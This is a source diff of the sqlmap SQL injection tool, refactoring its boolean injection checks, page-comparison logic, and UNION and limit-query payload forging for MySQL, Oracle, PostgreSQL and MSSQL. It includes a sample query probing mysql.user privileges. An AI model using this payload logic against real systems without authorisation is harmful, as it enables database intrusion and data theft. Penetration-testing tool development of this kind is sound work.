@@ -171,7 +171,7 @@ def checkSqlInjection(place, parameter, value, parenthesis):
payload = agent.payload(place, parameter, value, "%s'%s and %s%s" % (value, ")" * parenthesis, "(" * parenthesis, randStr)) payload = agent.payload(place, parameter, value, "%s'%s and %s%s" % (value, ")" * parenthesis, "(" * parenthesis, randStr))
falseResult = Request.queryPage(payload, place) falseResult = Request.queryPage(payload, place)
if falseResult != kb.defaultResult: if falseResult != True:
infoMsg = "%s parameter '%s' is " % (place, parameter) infoMsg = "%s parameter '%s' is " % (place, parameter)
infoMsg += "LIKE single quoted string injectable " infoMsg += "LIKE single quoted string injectable "
infoMsg += "with %d parenthesis" % parenthesis infoMsg += "with %d parenthesis" % parenthesis
@@ -190,11 +190,11 @@ def checkSqlInjection(place, parameter, value, parenthesis):
payload = agent.payload(place, parameter, value, "%s\"%s AND %s\"%s\"=\"%s" % (value, ")" * parenthesis, "(" * parenthesis, randStr, randStr)) payload = agent.payload(place, parameter, value, "%s\"%s AND %s\"%s\"=\"%s" % (value, ")" * parenthesis, "(" * parenthesis, randStr, randStr))
trueResult = Request.queryPage(payload, place) trueResult = Request.queryPage(payload, place)
if trueResult == kb.defaultResult: if trueResult == True:
payload = agent.payload(place, parameter, value, "%s\"%s AND %s\"%s\"=\"%s" % (value, ")" * parenthesis, "(" * parenthesis, randStr, randStr + randomStr(1))) payload = agent.payload(place, parameter, value, "%s\"%s AND %s\"%s\"=\"%s" % (value, ")" * parenthesis, "(" * parenthesis, randStr, randStr + randomStr(1)))
falseResult = Request.queryPage(payload, place) falseResult = Request.queryPage(payload, place)
if falseResult != kb.defaultResult: if falseResult != True:
infoMsg = "confirming double quoted string injection " infoMsg = "confirming double quoted string injection "
infoMsg += "on %s parameter '%s'" % (place, parameter) infoMsg += "on %s parameter '%s'" % (place, parameter)
logger.info(infoMsg) logger.info(infoMsg)
@@ -202,7 +202,7 @@ def checkSqlInjection(place, parameter, value, parenthesis):
payload = agent.payload(place, parameter, value, "%s\"%s AND %s%s" % (value, ")" * parenthesis, "(" * parenthesis, randStr)) payload = agent.payload(place, parameter, value, "%s\"%s AND %s%s" % (value, ")" * parenthesis, "(" * parenthesis, randStr))
falseResult = Request.queryPage(payload, place) falseResult = Request.queryPage(payload, place)
if falseResult != kb.defaultResult: if falseResult != True:
infoMsg = "%s parameter '%s' is " % (place, parameter) infoMsg = "%s parameter '%s' is " % (place, parameter)
infoMsg += "double quoted string injectable " infoMsg += "double quoted string injectable "
infoMsg += "with %d parenthesis" % parenthesis infoMsg += "with %d parenthesis" % parenthesis
@@ -221,11 +221,11 @@ def checkSqlInjection(place, parameter, value, parenthesis):
payload = agent.payload(place, parameter, value, "%s\"%s AND %s\"%s\" LIKE \"%s" % (value, ")" * parenthesis, "(" * parenthesis, randStr, randStr)) payload = agent.payload(place, parameter, value, "%s\"%s AND %s\"%s\" LIKE \"%s" % (value, ")" * parenthesis, "(" * parenthesis, randStr, randStr))
trueResult = Request.queryPage(payload, place) trueResult = Request.queryPage(payload, place)
if trueResult == kb.defaultResult: if trueResult == True:
payload = agent.payload(place, parameter, value, "%s\"%s AND %s\"%s\" LIKE \"%s" % (value, ")" * parenthesis, "(" * parenthesis, randStr, randStr + randomStr(1))) payload = agent.payload(place, parameter, value, "%s\"%s AND %s\"%s\" LIKE \"%s" % (value, ")" * parenthesis, "(" * parenthesis, randStr, randStr + randomStr(1)))
falseResult = Request.queryPage(payload, place) falseResult = Request.queryPage(payload, place)
if falseResult != kb.defaultResult: if falseResult != True:
infoMsg = "confirming LIKE double quoted string injection " infoMsg = "confirming LIKE double quoted string injection "
infoMsg += "on %s parameter '%s'" % (place, parameter) infoMsg += "on %s parameter '%s'" % (place, parameter)
logger.info(infoMsg) logger.info(infoMsg)
@@ -233,7 +233,7 @@ def checkSqlInjection(place, parameter, value, parenthesis):
payload = agent.payload(place, parameter, value, "%s\"%s and %s%s" % (value, ")" * parenthesis, "(" * parenthesis, randStr)) payload = agent.payload(place, parameter, value, "%s\"%s and %s%s" % (value, ")" * parenthesis, "(" * parenthesis, randStr))
falseResult = Request.queryPage(payload, place) falseResult = Request.queryPage(payload, place)
if falseResult != kb.defaultResult: if falseResult != True:
infoMsg = "%s parameter '%s' is " % (place, parameter) infoMsg = "%s parameter '%s' is " % (place, parameter)
infoMsg += "LIKE double quoted string injectable " infoMsg += "LIKE double quoted string injectable "
infoMsg += "with %d parenthesis" % parenthesis infoMsg += "with %d parenthesis" % parenthesis
@@ -262,7 +262,7 @@ def checkDynParam(place, parameter, value):
payload = agent.payload(place, parameter, value, str(randInt)) payload = agent.payload(place, parameter, value, str(randInt))
dynResult1 = Request.queryPage(payload, place) dynResult1 = Request.queryPage(payload, place)
if kb.defaultResult == dynResult1: if True == dynResult1:
return False return False
infoMsg = "confirming that %s parameter '%s' is dynamic" % (place, parameter) infoMsg = "confirming that %s parameter '%s' is dynamic" % (place, parameter)
@@ -274,8 +274,8 @@ def checkDynParam(place, parameter, value):
payload = agent.payload(place, parameter, value, "\"%s" % randomStr()) payload = agent.payload(place, parameter, value, "\"%s" % randomStr())
dynResult3 = Request.queryPage(payload, place) dynResult3 = Request.queryPage(payload, place)
condition = kb.defaultResult != dynResult2 condition = True != dynResult2
condition |= kb.defaultResult != dynResult3 condition |= True != dynResult3
return condition return condition
@@ -295,67 +295,19 @@ def checkStability():
logger.info(infoMsg) logger.info(infoMsg)
firstPage, firstHeaders = Request.queryPage(content=True) firstPage, firstHeaders = Request.queryPage(content=True)
time.sleep(0.5) time.sleep(1)
secondPage, secondHeaders = Request.queryPage(content=True) secondPage, secondHeaders = Request.queryPage(content=True)
time.sleep(0.5)
thirdPage, thirdHeaders = Request.queryPage(content=True) condition = firstPage == secondPage
condition = firstPage == secondPage
condition &= secondPage == thirdPage
if condition == False: if condition == False:
# Prepare for the comparison algorithm based on Content-Length warnMsg = "url is not stable, sqlmap will base the page "
# header value warnMsg += "comparison on a sequence matcher, if no dynamic nor "
contentLengths = [] warnMsg += "injectable parameters are detected, refer to user's "
requestsHeaders = ( firstHeaders, secondHeaders, thirdHeaders ) warnMsg += "manual paragraph 'Page comparison' and provide a "
warnMsg += "string or regular expression to match on"
for requestHeaders in requestsHeaders: logger.warn(warnMsg)
requestHeaders = str(requestHeaders).lower()
clHeader = re.search("content-length:\s+([\d]+)", requestHeaders, re.I | re.M)
if clHeader and clHeader.group(1).isdigit():
contentLengths.append(int(clHeader.group(1)))
if contentLengths:
conf.contentLengths = ( min(contentLengths), max(contentLengths) )
warnMsg = "url is not stable, sqlmap inspected the headers "
warnMsg += "and identified that Content-Length can be used "
warnMsg += "in the comparison algorithm"
logger.warn(warnMsg)
kb.defaultResult = True
return True
# Prepare for the comparison algorithm based on page content's
# stable lines subset
counter = 0
firstLines = firstPage.split("\n")
secondLines = secondPage.split("\n")
thirdLines = thirdPage.split("\n")
for firstLine in firstLines:
if counter > len(secondLines) or counter > len(thirdLines):
break
if firstLine in secondLines and firstLine in thirdLines:
conf.equalLines.append(firstLine)
counter += 1
if conf.equalLines:
warnMsg = "url is not stable, sqlmap inspected the page "
warnMsg += "content and identified a stable lines subset "
warnMsg += "to be used in the comparison algorithm"
logger.warn(warnMsg)
kb.defaultResult = True
return True
if condition == True: if condition == True:
logMsg = "url is stable" logMsg = "url is stable"
@@ -432,11 +384,16 @@ def checkConnection():
logger.info(infoMsg) logger.info(infoMsg)
try: try:
kb.defaultResult = Request.queryPage() page, _ = Request.getPage()
conf.seqMatcher.set_seq1(page)
except sqlmapConnectionException, exceptionMsg: except sqlmapConnectionException, exceptionMsg:
exceptionMsg = str(exceptionMsg)
if conf.multipleTargets: if conf.multipleTargets:
exceptionMsg += ", skipping to next url" exceptionMsg += ", skipping to next url"
logger.warn(exceptionMsg) logger.warn(exceptionMsg)
return False return False
else: else:
raise sqlmapConnectionException, exceptionMsg raise sqlmapConnectionException, exceptionMsg

View File

@@ -5,7 +5,7 @@ $Id$
This file is part of the sqlmap project, http://sqlmap.sourceforge.net. This file is part of the sqlmap project, http://sqlmap.sourceforge.net.
Copyright (c) 2006-2008 Bernardo Damele A. G. <bernardo.damele@gmail.com> Copyright (c) 2006-2009 Bernardo Damele A. G. <bernardo.damele@gmail.com>
and Daniele Bellucci <daniele.bellucci@gmail.com> and Daniele Bellucci <daniele.bellucci@gmail.com>
sqlmap is free software; you can redistribute it and/or modify it under sqlmap is free software; you can redistribute it and/or modify it under
@@ -175,18 +175,9 @@ def start():
if not kb.injPlace or not kb.injParameter or not kb.injType: if not kb.injPlace or not kb.injParameter or not kb.injType:
if not conf.string and not conf.regexp and not conf.eRegexp: if not conf.string and not conf.regexp and not conf.eRegexp:
if not checkStability(): # NOTE: this is not needed anymore, leaving only to display
errMsg = "url is not stable, try with --string or " # a warning message to the user in case the page is not stable
errMsg += "--regexp options, refer to the user's manual " checkStability()
errMsg += "paragraph 'Page comparison' for details"
if conf.multipleTargets:
errMsg += ", skipping to next url"
logger.warn(errMsg)
continue
else:
raise sqlmapConnectionException, errMsg
for place in conf.parameters.keys(): for place in conf.parameters.keys():
if not conf.paramDict.has_key(place): if not conf.paramDict.has_key(place):

View File

@@ -5,7 +5,7 @@ $Id$
This file is part of the sqlmap project, http://sqlmap.sourceforge.net. This file is part of the sqlmap project, http://sqlmap.sourceforge.net.
Copyright (c) 2006-2008 Bernardo Damele A. G. <bernardo.damele@gmail.com> Copyright (c) 2006-2009 Bernardo Damele A. G. <bernardo.damele@gmail.com>
and Daniele Bellucci <daniele.bellucci@gmail.com> and Daniele Bellucci <daniele.bellucci@gmail.com>
sqlmap is free software; you can redistribute it and/or modify it under sqlmap is free software; you can redistribute it and/or modify it under

View File

@@ -5,7 +5,7 @@ $Id$
This file is part of the sqlmap project, http://sqlmap.sourceforge.net. This file is part of the sqlmap project, http://sqlmap.sourceforge.net.
Copyright (c) 2006-2008 Bernardo Damele A. G. <bernardo.damele@gmail.com> Copyright (c) 2006-2009 Bernardo Damele A. G. <bernardo.damele@gmail.com>
and Daniele Bellucci <daniele.bellucci@gmail.com> and Daniele Bellucci <daniele.bellucci@gmail.com>
sqlmap is free software; you can redistribute it and/or modify it under sqlmap is free software; you can redistribute it and/or modify it under

View File

@@ -5,7 +5,7 @@ $Id$
This file is part of the sqlmap project, http://sqlmap.sourceforge.net. This file is part of the sqlmap project, http://sqlmap.sourceforge.net.
Copyright (c) 2006-2008 Bernardo Damele A. G. <bernardo.damele@gmail.com> Copyright (c) 2006-2009 Bernardo Damele A. G. <bernardo.damele@gmail.com>
and Daniele Bellucci <daniele.bellucci@gmail.com> and Daniele Bellucci <daniele.bellucci@gmail.com>
sqlmap is free software; you can redistribute it and/or modify it under sqlmap is free software; you can redistribute it and/or modify it under
@@ -81,6 +81,14 @@ class Agent:
return retValue return retValue
def fullPayload(self, query):
query = self.prefixQuery(query)
query = self.postfixQuery(query)
payload = self.payload(newValue=query)
return payload
def prefixQuery(self, string): def prefixQuery(self, string):
""" """
This method defines how the input string has to be escaped This method defines how the input string has to be escaped
@@ -176,8 +184,11 @@ class Agent:
@rtype: C{str} @rtype: C{str}
""" """
nulledCastedField = queries[kb.dbms].cast % field if field.startswith("(CASE"):
nulledCastedField = queries[kb.dbms].isnull % nulledCastedField nulledCastedField = field
else:
nulledCastedField = queries[kb.dbms].cast % field
nulledCastedField = queries[kb.dbms].isnull % nulledCastedField
return nulledCastedField return nulledCastedField
@@ -246,15 +257,10 @@ class Agent:
@rtype: C{str} @rtype: C{str}
""" """
if query.startswith("SELECT ") and "(SELECT " in query: fieldsSelectTop = re.search("\ASELECT\s+TOP\s+[\d]+\s+(.+?)\s+FROM", query, re.I)
firstChar = "\\(" fieldsSelectDistinct = re.search("\ASELECT\s+DISTINCT\((.+?)\)\s+FROM", query, re.I)
else: fieldsSelectFrom = re.search("\ASELECT\s+(.+?)\s+FROM\s+", query, re.I)
firstChar = "\\A" fieldsSelect = re.search("\ASELECT\s+(.*)", query, re.I)
fieldsSelectTop = re.search("%sSELECT\s+TOP\s+[\d]+\s+(.+?)\s+FROM" % firstChar, query, re.I)
fieldsSelectDistinct = re.search("%sSELECT\s+DISTINCT\((.+?)\)\s+FROM" % firstChar, query, re.I)
fieldsSelectFrom = re.search("%sSELECT\s+(.+?)\s+FROM\s+" % firstChar, query, re.I)
fieldsSelect = re.search("%sSELECT\s+(.*)" % firstChar, query, re.I)
fieldsNoSelect = query fieldsNoSelect = query
if fieldsSelectTop: if fieldsSelectTop:
@@ -271,10 +277,11 @@ class Agent:
fieldsToCastList = fieldsToCastStr.replace(", ", ",") fieldsToCastList = fieldsToCastStr.replace(", ", ",")
fieldsToCastList = fieldsToCastList.split(",") fieldsToCastList = fieldsToCastList.split(",")
if query.startswith("SELECT ") and "(SELECT " in query: # TODO: really needed?!
fieldsSelectFrom = None #if query.startswith("SELECT ") and "(SELECT " in query:
# fieldsSelectFrom = None
return fieldsSelectFrom, fieldsSelect, fieldsNoSelect, fieldsToCastList, fieldsToCastStr return fieldsSelectFrom, fieldsSelect, fieldsNoSelect, fieldsSelectTop, fieldsToCastList, fieldsToCastStr
def concatQuery(self, query): def concatQuery(self, query):
@@ -306,7 +313,7 @@ class Agent:
concatQuery = "" concatQuery = ""
query = query.replace(", ", ",") query = query.replace(", ", ",")
fieldsSelectFrom, fieldsSelect, fieldsNoSelect, _, fieldsToCastStr = self.getFields(query) fieldsSelectFrom, fieldsSelect, fieldsNoSelect, fieldsSelectTop, _, fieldsToCastStr = self.getFields(query)
castedFields = self.nullCastConcatFields(fieldsToCastStr) castedFields = self.nullCastConcatFields(fieldsToCastStr)
concatQuery = query.replace(fieldsToCastStr, castedFields, 1) concatQuery = query.replace(fieldsToCastStr, castedFields, 1)
@@ -320,24 +327,25 @@ class Agent:
elif fieldsNoSelect: elif fieldsNoSelect:
concatQuery = "CONCAT('%s',%s,'%s')" % (temp.start, concatQuery, temp.stop) concatQuery = "CONCAT('%s',%s,'%s')" % (temp.start, concatQuery, temp.stop)
elif kb.dbms in ( "Oracle", "PostgreSQL" ): elif kb.dbms in ( "PostgreSQL", "Oracle" ):
if fieldsSelectFrom: if fieldsSelectFrom:
concatQuery = concatQuery.replace("SELECT ", "'%s'||" % temp.start, 1) concatQuery = concatQuery.replace("SELECT ", "'%s'||" % temp.start, 1)
concatQuery = concatQuery.replace(" FROM ", "||'%s' FROM " % temp.stop, 1) concatQuery = concatQuery.replace(" FROM ", "||'%s' FROM " % temp.stop, 1)
elif fieldsSelect: elif fieldsSelect:
concatQuery = concatQuery.replace("SELECT ", "'%s'||" % temp.start, 1) concatQuery = concatQuery.replace("SELECT ", "'%s'||" % temp.start, 1)
concatQuery += "||'%s'" % temp.stop concatQuery += "||'%s'" % temp.stop
if kb.dbms == "Oracle":
concatQuery += " FROM DUAL"
elif fieldsNoSelect: elif fieldsNoSelect:
concatQuery = "'%s'||%s||'%s'" % (temp.start, concatQuery, temp.stop) concatQuery = "'%s'||%s||'%s'" % (temp.start, concatQuery, temp.stop)
if kb.dbms == "Oracle": if kb.dbms == "Oracle" and " FROM " not in concatQuery and ( fieldsSelect or fieldsNoSelect ):
concatQuery += " FROM DUAL" concatQuery += " FROM DUAL"
elif kb.dbms == "Microsoft SQL Server": elif kb.dbms == "Microsoft SQL Server":
if fieldsSelectFrom: if fieldsSelectTop:
topNum = re.search("\ASELECT\s+TOP\s+([\d]+)\s+", concatQuery, re.I).group(1)
concatQuery = concatQuery.replace("SELECT TOP %s " % topNum, "TOP %s '%s'+" % (topNum, temp.start), 1)
concatQuery = concatQuery.replace(" FROM ", "+'%s' FROM " % temp.stop, 1)
elif fieldsSelectFrom:
concatQuery = concatQuery.replace("SELECT ", "'%s'+" % temp.start, 1) concatQuery = concatQuery.replace("SELECT ", "'%s'+" % temp.start, 1)
concatQuery = concatQuery.replace(" FROM ", "+'%s' FROM " % temp.stop, 1) concatQuery = concatQuery.replace(" FROM ", "+'%s' FROM " % temp.stop, 1)
elif fieldsSelect: elif fieldsSelect:
@@ -382,6 +390,11 @@ class Agent:
inbandQuery = self.prefixQuery(" UNION ALL SELECT ") inbandQuery = self.prefixQuery(" UNION ALL SELECT ")
if query.startswith("TOP"):
topNum = re.search("\ATOP\s+([\d]+)\s+", query, re.I).group(1)
query = query[len("TOP %s " % topNum):]
inbandQuery += "TOP %s " % topNum
if not exprPosition: if not exprPosition:
exprPosition = kb.unionPosition exprPosition = kb.unionPosition
@@ -393,32 +406,28 @@ class Agent:
inbandQuery += ", " inbandQuery += ", "
if element == exprPosition: if element == exprPosition:
if " FROM " in query and not query.startswith("SELECT ") and not "(SELECT " in query: if " FROM " in query and not query.startswith("SELECT "):
conditionIndex = query.rindex(" FROM ") conditionIndex = query.index(" FROM ")
inbandQuery += "%s" % query[:conditionIndex] inbandQuery += query[:conditionIndex]
else: else:
inbandQuery += "%s" % query inbandQuery += query
else: else:
inbandQuery += "NULL" inbandQuery += "NULL"
if " FROM " in query and not query.startswith("SELECT ") and not "(SELECT " in query: if " FROM " in query and not query.startswith("SELECT "):
conditionIndex = query.rindex(" FROM ") conditionIndex = query.index(" FROM ")
inbandQuery += "%s" % query[conditionIndex:] inbandQuery += query[conditionIndex:]
if kb.dbms == "Oracle": if kb.dbms == "Oracle":
if " FROM " not in inbandQuery: if " FROM " not in inbandQuery:
inbandQuery += " FROM DUAL" inbandQuery += " FROM DUAL"
if " ORDER BY " in inbandQuery:
orderIndex = inbandQuery.index(" ORDER BY ")
inbandQuery = inbandQuery[:orderIndex]
inbandQuery = self.postfixQuery(inbandQuery, kb.unionComment) inbandQuery = self.postfixQuery(inbandQuery, kb.unionComment)
return inbandQuery return inbandQuery
def limitQuery(self, num, query, fieldsList=None): def limitQuery(self, num, query, field):
""" """
Take in input a query string and return its limited query string. Take in input a query string and return its limited query string.
@@ -433,8 +442,8 @@ class Agent:
@param query: query to be processed @param query: query to be processed
@type query: C{str} @type query: C{str}
@param fieldsList: list of fields within the query @param field: field within the query
@type fieldsList: C{list} @type field: C{list}
@return: limited query string @return: limited query string
@rtype: C{str} @rtype: C{str}
@@ -451,22 +460,67 @@ class Agent:
limitedQuery += " %s" % limitStr limitedQuery += " %s" % limitStr
elif kb.dbms == "Oracle": elif kb.dbms == "Oracle":
limitedQuery = "%s FROM (%s, %s" % (untilFrom, untilFrom, limitStr) if " ORDER BY " in limitedQuery and "(SELECT " in limitedQuery:
limitedQuery = limitedQuery[:limitedQuery.index(" ORDER BY ")]
if query.startswith("SELECT "):
limitedQuery = "%s FROM (%s, %s" % (untilFrom, untilFrom, limitStr)
else:
limitedQuery = "%s FROM (SELECT %s, %s" % (untilFrom, ", ".join(f for f in field), limitStr)
limitedQuery = limitedQuery % fromFrom limitedQuery = limitedQuery % fromFrom
limitedQuery += "=%d" % (num + 1) limitedQuery += "=%d" % (num + 1)
elif kb.dbms == "Microsoft SQL Server": elif kb.dbms == "Microsoft SQL Server":
if re.search(" ORDER BY ", limitedQuery, re.I): forgeNotIn = True
untilOrderChar = limitedQuery.index(" ORDER BY ")
limitedQuery = limitedQuery[:untilOrderChar]
limitedQuery = limitedQuery.replace("SELECT ", (limitStr % 1), 1) if " ORDER BY " in limitedQuery:
limitedQuery = "%s WHERE %s " % (limitedQuery, fieldsList[0]) limitedQuery = limitedQuery[:limitedQuery.index(" ORDER BY ")]
limitedQuery += "NOT IN (%s" % (limitStr % num)
limitedQuery += "%s %s)" % (fieldsList[0], fromFrom) if limitedQuery.startswith("SELECT TOP ") or limitedQuery.startswith("TOP "):
topNums = re.search(queries[kb.dbms].limitregexp, limitedQuery, re.I)
if topNums:
topNums = topNums.groups()
quantityTopNums = topNums[0]
limitedQuery = limitedQuery.replace("TOP %s" % quantityTopNums, "TOP 1", 1)
startTopNums = topNums[1]
limitedQuery = limitedQuery.replace(" (SELECT TOP %s" % startTopNums, " (SELECT TOP %d" % num)
forgeNotIn = False
else:
topNum = re.search("TOP\s+([\d]+)\s+", limitedQuery, re.I).group(1)
limitedQuery = limitedQuery.replace("TOP %s " % topNum, "")
if forgeNotIn == True:
limitedQuery = limitedQuery.replace("SELECT ", (limitStr % 1), 1)
if " WHERE " in limitedQuery:
limitedQuery = "%s AND %s " % (limitedQuery, field)
else:
limitedQuery = "%s WHERE %s " % (limitedQuery, field)
limitedQuery += "NOT IN (%s" % (limitStr % num)
limitedQuery += "%s %s)" % (field, fromFrom)
return limitedQuery return limitedQuery
def forgeCaseStatement(self, expression):
"""
Take in input a query string and return its CASE statement query
string.
Example:
Input: (SELECT super_priv FROM mysql.user WHERE user=(SUBSTRING_INDEX(CURRENT_USER(), '@', 1)) LIMIT 0, 1)='Y'
Output: SELECT (CASE WHEN ((SELECT super_priv FROM mysql.user WHERE user=(SUBSTRING_INDEX(CURRENT_USER(), '@', 1)) LIMIT 0, 1)='Y') THEN 1 ELSE 0 END)
@param expression: expression to be processed
@type num: C{str}
@return: processed expression
@rtype: C{str}
"""
return queries[kb.dbms].case % expression
# SQL agent # SQL agent
agent = Agent() agent = Agent()

View File

@@ -5,7 +5,7 @@ $Id$
This file is part of the sqlmap project, http://sqlmap.sourceforge.net. This file is part of the sqlmap project, http://sqlmap.sourceforge.net.
Copyright (c) 2006-2008 Bernardo Damele A. G. <bernardo.damele@gmail.com> Copyright (c) 2006-2009 Bernardo Damele A. G. <bernardo.damele@gmail.com>
and Daniele Bellucci <daniele.bellucci@gmail.com> and Daniele Bellucci <daniele.bellucci@gmail.com>
sqlmap is free software; you can redistribute it and/or modify it under sqlmap is free software; you can redistribute it and/or modify it under
@@ -40,6 +40,7 @@ from lib.core.data import logger
from lib.core.data import temp from lib.core.data import temp
from lib.core.exception import sqlmapFilePathException from lib.core.exception import sqlmapFilePathException
from lib.core.data import paths from lib.core.data import paths
from lib.core.settings import SQL_STATEMENTS
from lib.core.settings import VERSION_STRING from lib.core.settings import VERSION_STRING
@@ -469,7 +470,7 @@ def banner():
print """ print """
%s coded by Bernardo Damele A. G. <bernardo.damele@gmail.com> %s coded by Bernardo Damele A. G. <bernardo.damele@gmail.com>
and Daniele Bellucci <daniele.bellucci@gmail.com> and Daniele Bellucci <daniele.bellucci@gmail.com>
""" % VERSION_STRING """ % VERSION_STRING
@@ -493,39 +494,15 @@ def parsePasswordHash(password):
def cleanQuery(query): def cleanQuery(query):
# SQL SELECT statement upperQuery = query
upperQuery = query.replace("select ", "SELECT ")
upperQuery = upperQuery.replace(" from ", " FROM ")
upperQuery = upperQuery.replace(" where ", " WHERE ")
upperQuery = upperQuery.replace(" group by ", " GROUP BY ")
upperQuery = upperQuery.replace(" order by ", " ORDER BY ")
upperQuery = upperQuery.replace(" having ", " HAVING ")
upperQuery = upperQuery.replace(" limit ", " LIMIT ")
upperQuery = upperQuery.replace(" offset ", " OFFSET ")
upperQuery = upperQuery.replace(" union all ", " UNION ALL ")
upperQuery = upperQuery.replace(" rownum ", " ROWNUM ")
# SQL data definition for sqlStatements in SQL_STATEMENTS.values():
upperQuery = upperQuery.replace(" create ", " CREATE ") for sqlStatement in sqlStatements:
upperQuery = upperQuery.replace(" drop ", " DROP ") sqlStatementEsc = sqlStatement.replace("(", "\\(")
upperQuery = upperQuery.replace(" truncate ", " TRUNCATE ") queryMatch = re.search("(%s)" % sqlStatementEsc, query, re.I)
upperQuery = upperQuery.replace(" alter ", " ALTER ")
# SQL data manipulation if queryMatch:
upperQuery = upperQuery.replace(" insert ", " INSERT ") upperQuery = upperQuery.replace(queryMatch.group(1), sqlStatement.upper())
upperQuery = upperQuery.replace(" update ", " UPDATE ")
upperQuery = upperQuery.replace(" delete ", " DELETE ")
upperQuery = upperQuery.replace(" merge ", " MERGE ")
# SQL data control
upperQuery = upperQuery.replace(" grant ", " GRANT ")
# SQL transaction control
upperQuery = upperQuery.replace(" start transaction ", " START TRANSACTION ")
upperQuery = upperQuery.replace(" begin work ", " BEGIN WORK ")
upperQuery = upperQuery.replace(" begin transaction ", " BEGIN TRANSACTION ")
upperQuery = upperQuery.replace(" commit ", " COMMIT ")
upperQuery = upperQuery.replace(" rollback ", " ROLLBACK ")
return upperQuery return upperQuery

View File

@@ -5,7 +5,7 @@ $Id$
This file is part of the sqlmap project, http://sqlmap.sourceforge.net. This file is part of the sqlmap project, http://sqlmap.sourceforge.net.
Copyright (c) 2006-2008 Bernardo Damele A. G. <bernardo.damele@gmail.com> Copyright (c) 2006-2009 Bernardo Damele A. G. <bernardo.damele@gmail.com>
and Daniele Bellucci <daniele.bellucci@gmail.com> and Daniele Bellucci <daniele.bellucci@gmail.com>
sqlmap is free software; you can redistribute it and/or modify it under sqlmap is free software; you can redistribute it and/or modify it under
@@ -23,9 +23,13 @@ Franklin St, Fifth Floor, Boston, MA 02110-1301 USA
""" """
try:
import md5
import sha
except DeprecationWarning, _:
from hashlib import md5
from hashlib import sha
import md5
import sha
import struct import struct
import urllib import urllib

View File

@@ -5,7 +5,7 @@ $Id$
This file is part of the sqlmap project, http://sqlmap.sourceforge.net. This file is part of the sqlmap project, http://sqlmap.sourceforge.net.
Copyright (c) 2006-2008 Bernardo Damele A. G. <bernardo.damele@gmail.com> Copyright (c) 2006-2009 Bernardo Damele A. G. <bernardo.damele@gmail.com>
and Daniele Bellucci <daniele.bellucci@gmail.com> and Daniele Bellucci <daniele.bellucci@gmail.com>
sqlmap is free software; you can redistribute it and/or modify it under sqlmap is free software; you can redistribute it and/or modify it under

View File

@@ -5,7 +5,7 @@ $Id$
This file is part of the sqlmap project, http://sqlmap.sourceforge.net. This file is part of the sqlmap project, http://sqlmap.sourceforge.net.
Copyright (c) 2006-2008 Bernardo Damele A. G. <bernardo.damele@gmail.com> Copyright (c) 2006-2009 Bernardo Damele A. G. <bernardo.damele@gmail.com>
and Daniele Bellucci <daniele.bellucci@gmail.com> and Daniele Bellucci <daniele.bellucci@gmail.com>
sqlmap is free software; you can redistribute it and/or modify it under sqlmap is free software; you can redistribute it and/or modify it under

View File

@@ -5,7 +5,7 @@ $Id$
This file is part of the sqlmap project, http://sqlmap.sourceforge.net. This file is part of the sqlmap project, http://sqlmap.sourceforge.net.
Copyright (c) 2006-2008 Bernardo Damele A. G. <bernardo.damele@gmail.com> Copyright (c) 2006-2009 Bernardo Damele A. G. <bernardo.damele@gmail.com>
and Daniele Bellucci <daniele.bellucci@gmail.com> and Daniele Bellucci <daniele.bellucci@gmail.com>
sqlmap is free software; you can redistribute it and/or modify it under sqlmap is free software; you can redistribute it and/or modify it under

View File

@@ -5,7 +5,7 @@ $Id$
This file is part of the sqlmap project, http://sqlmap.sourceforge.net. This file is part of the sqlmap project, http://sqlmap.sourceforge.net.
Copyright (c) 2006-2008 Bernardo Damele A. G. <bernardo.damele@gmail.com> Copyright (c) 2006-2009 Bernardo Damele A. G. <bernardo.damele@gmail.com>
and Daniele Bellucci <daniele.bellucci@gmail.com> and Daniele Bellucci <daniele.bellucci@gmail.com>
sqlmap is free software; you can redistribute it and/or modify it under sqlmap is free software; you can redistribute it and/or modify it under

View File

@@ -5,7 +5,7 @@ $Id$
This file is part of the sqlmap project, http://sqlmap.sourceforge.net. This file is part of the sqlmap project, http://sqlmap.sourceforge.net.
Copyright (c) 2006-2008 Bernardo Damele A. G. <bernardo.damele@gmail.com> Copyright (c) 2006-2009 Bernardo Damele A. G. <bernardo.damele@gmail.com>
and Daniele Bellucci <daniele.bellucci@gmail.com> and Daniele Bellucci <daniele.bellucci@gmail.com>
sqlmap is free software; you can redistribute it and/or modify it under sqlmap is free software; you can redistribute it and/or modify it under
@@ -25,6 +25,7 @@ Franklin St, Fifth Floor, Boston, MA 02110-1301 USA
import cookielib import cookielib
import difflib
import logging import logging
import os import os
import re import re
@@ -33,6 +34,8 @@ import time
import urllib2 import urllib2
import urlparse import urlparse
from ConfigParser import ConfigParser
from lib.core.common import parseTargetUrl from lib.core.common import parseTargetUrl
from lib.core.common import paths from lib.core.common import paths
from lib.core.common import randomRange from lib.core.common import randomRange
@@ -238,6 +241,28 @@ def __setGoogleDorking():
raise sqlmapGenericException, errMsg raise sqlmapGenericException, errMsg
def __setUnionTech():
if conf.uTech == None:
conf.uTech = "NULL"
return
uTechOriginal = conf.uTech
conf.uTech = conf.uTech.lower()
if conf.uTech and conf.uTech not in ( "null", "orderby" ):
infoMsg = "resetting the UNION query detection technique to "
infoMsg += "'NULL', '%s' is not a valid technique" % uTechOriginal
logger.info(infoMsg)
conf.uTech = "NULL"
else:
debugMsg = "setting UNION query detection technique to "
debugMsg += "'%s'" % uTechOriginal
logger.debug(debugMsg)
def __setDBMS(): def __setDBMS():
""" """
Force the back-end DBMS option. Force the back-end DBMS option.
@@ -522,7 +547,7 @@ def __setHTTPTimeout():
conf.timeout = 3.0 conf.timeout = 3.0
else: else:
conf.timeout = 10.0 conf.timeout = 30.0
socket.setdefaulttimeout(conf.timeout) socket.setdefaulttimeout(conf.timeout)
@@ -570,10 +595,8 @@ def __setConfAttributes():
logger.debug(debugMsg) logger.debug(debugMsg)
conf.cj = None conf.cj = None
conf.contentLengths = []
conf.dbmsHandler = None conf.dbmsHandler = None
conf.dumpPath = None conf.dumpPath = None
conf.equalLines = []
conf.httpHeaders = [] conf.httpHeaders = []
conf.hostname = None conf.hostname = None
conf.loggedToOut = None conf.loggedToOut = None
@@ -586,6 +609,8 @@ def __setConfAttributes():
conf.port = None conf.port = None
conf.retries = 0 conf.retries = 0
conf.scheme = None conf.scheme = None
#conf.seqMatcher = difflib.SequenceMatcher(lambda x: x in " \t")
conf.seqMatcher = difflib.SequenceMatcher(None)
conf.sessionFP = None conf.sessionFP = None
conf.start = True conf.start = True
conf.threadException = False conf.threadException = False
@@ -601,7 +626,6 @@ def __setKnowledgeBaseAttributes():
logger.debug(debugMsg) logger.debug(debugMsg)
